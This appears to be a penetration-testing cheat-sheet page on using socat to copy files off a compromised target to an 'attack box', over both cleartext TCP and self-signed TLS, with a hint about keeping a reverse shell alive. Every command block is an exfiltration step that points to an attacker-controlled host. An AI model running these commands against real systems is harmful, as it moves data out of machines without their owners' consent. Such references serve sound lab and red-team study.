Skip to main content

SOCAT

Cleartext File Transfer

Listener on Attack Box

# Start a listener on the attack box and create a file when received
socat TCP4-LISTEN:<port>,fork file:/tmp/got-the-file,create

# Connect and transfer the file to your attack box
socat TCP4:attack-box-ip:<port> file:/path/to/file


Listener on Target

Hint: You may also want to start the listener on the target in the background, as CTRL+C will likely kill your reverse shell.

# Start a listener and host a file on the target
socat TCP4-LISTEN:<port>,fork file:/path/to/file

# Connect and receive the file on your attack box
socat TCP4:target-ip:<port> file:/tmp/got-the-file,create

Encrypted File Transfer

Listener on Attack Box

Generate Self-Signed Certificate

openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/CN=socat-transfer"

Start the Listener on Attack Box

socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,reuseaddr FILE:received_file.txt,create,trunc

Transfer the File from Target

socat FILE:my_data.txt OPENSSL:ATTACK_BOX_IP:443,verify=0